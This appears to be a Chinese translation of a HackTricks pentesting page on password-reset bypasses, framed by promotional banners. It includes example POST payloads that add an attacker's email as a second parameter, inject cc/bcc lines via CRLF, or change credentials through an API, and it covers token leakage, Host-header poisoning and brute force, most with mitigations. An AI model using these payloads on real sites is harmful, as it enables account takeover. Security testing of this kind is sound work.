Reset/Forgotten Password Bypass

学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

加入 HackenProof Discord 服务器,与经验丰富的黑客和漏洞赏金猎人交流!

黑客见解 参与深入探讨黑客的刺激与挑战的内容

实时黑客新闻 通过实时新闻和见解,跟上快速变化的黑客世界

最新公告 了解最新的漏洞赏金计划和重要平台更新

今天就加入我们, Discord,与顶尖黑客开始合作吧!

通过引荐人泄露密码重置令牌

  • 如果密码重置令牌包含在 URL 中,HTTP referer 头可能会泄露该令牌。这可能发生在用户请求密码重置后点击第三方网站链接时。

  • 影响:通过跨站请求伪造 (CSRF) 攻击可能导致账户接管。

  • 利用:要检查密码重置令牌是否在 referer 头中泄露,请求密码重置到您的电子邮件地址,并点击提供的重置链接不要立即更改密码。相反,在使用 Burp Suite 拦截请求时导航到第三方网站(如 Facebook 或 Twitter)。检查请求以查看 referer 头是否包含密码重置令牌,因为这可能会将敏感信息暴露给第三方。

  • 参考

密码重置中毒

  • 攻击者可能在密码重置请求中操纵 Host 头,将重置链接指向恶意网站。

  • 影响:通过将重置令牌泄露给攻击者,可能导致账户接管。

  • 缓解步骤

  • 验证 Host 头是否在允许的域名白名单中。

  • 使用安全的服务器端方法生成绝对 URL。

  • 修补:使用 $_SERVER['SERVER_NAME'] 构造密码重置 URL,而不是 $_SERVER['HTTP_HOST']

  • 参考

通过操纵电子邮件参数重置密码

攻击者可以通过添加额外的电子邮件参数来操纵密码重置请求,以转移重置链接。

  • 使用 & 添加攻击者电子邮件作为第二个参数

POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • 使用 %20 将攻击者电子邮件作为第二个参数添加

POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • 使用 | 将攻击者电子邮件作为第二个参数添加

POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • 使用抄送将攻击者电子邮件添加为第二个参数

POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • 使用 bcc 将攻击者电子邮件作为第二个参数添加

POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • 使用 , 将攻击者电子邮件作为第二个参数添加

POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • 在 JSON 数组中将攻击者电子邮件作为第二个参数添加

POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

通过API参数更改任何用户的电子邮件和密码

  • 攻击者可以在API请求中修改电子邮件和密码参数以更改账户凭据。

POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

无速率限制:电子邮件轰炸

  • 密码重置请求缺乏速率限制可能导致电子邮件轰炸,使用户被重置电子邮件淹没。

  • 缓解步骤

  • 基于IP地址或用户账户实施速率限制。

  • 使用CAPTCHA挑战以防止自动滥用。

  • 参考

找出密码重置令牌的生成方式

  • 理解令牌生成背后的模式或方法可以导致预测或暴力破解令牌。一些选项:

  • 基于时间戳

  • 基于用户ID

  • 基于用户的电子邮件

  • 基于名字和姓氏

  • 基于出生日期

  • 基于加密

  • 缓解步骤

  • 使用强大的加密方法生成令牌。

  • 确保足够的随机性和长度以防止可预测性。

  • 工具:使用Burp Sequencer分析令牌的随机性。

可猜测的UUID

  • 如果UUID(版本1)是可猜测或可预测的,攻击者可能会暴力破解它们以生成有效的重置令牌。检查:

UUID Insecurities
  • 缓解步骤

  • 使用GUID版本4以获得随机性,或对其他版本实施额外的安全措施。

  • 工具:使用guidtool分析和生成GUID。

响应操纵:用好响应替换坏响应

  • 操纵HTTP响应以绕过错误消息或限制。

  • 缓解步骤

  • 实施服务器端检查以确保响应完整性。

  • 使用安全通信通道如HTTPS以防止中间人攻击。

  • 参考

使用过期令牌

  • 测试过期令牌是否仍可用于密码重置。

  • 缓解步骤

  • 实施严格的令牌过期政策,并在服务器端验证令牌过期。

暴力破解密码重置令牌

  • 尝试使用Burpsuite和IP-Rotator等工具暴力破解重置令牌,以绕过基于IP的速率限制。

  • 缓解步骤

  • 实施强大的速率限制和账户锁定机制。

  • 监控可疑活动,以指示暴力破解攻击。

尝试使用您的令牌

  • 测试攻击者的重置令牌是否可以与受害者的电子邮件一起使用。

  • 缓解步骤

  • 确保令牌绑定到用户会话或其他用户特定属性。

注销/密码重置中的会话失效

  • 确保用户注销或重置密码时会话失效。

  • 缓解步骤

  • 实施适当的会话管理,确保所有会话在注销或密码重置时失效。

注销/密码重置中的会话失效

  • 重置令牌应具有过期时间,过期后将失效。

  • 缓解步骤

  • 为重置令牌设置合理的过期时间,并在服务器端严格执行。

参考

加入 HackenProof Discord 服务器,与经验丰富的黑客和漏洞赏金猎人交流!

黑客见解 参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻 通过实时新闻和见解,跟上快速变化的黑客世界

最新公告 及时了解最新的漏洞赏金发布和重要平台更新

加入我们 Discord,今天就开始与顶级黑客合作!

学习和实践AWS黑客技术:HackTricks培训AWS红队专家(ARTE) 学习和实践GCP黑客技术:HackTricks培训GCP红队专家(GRTE)

支持HackTricks

Last updated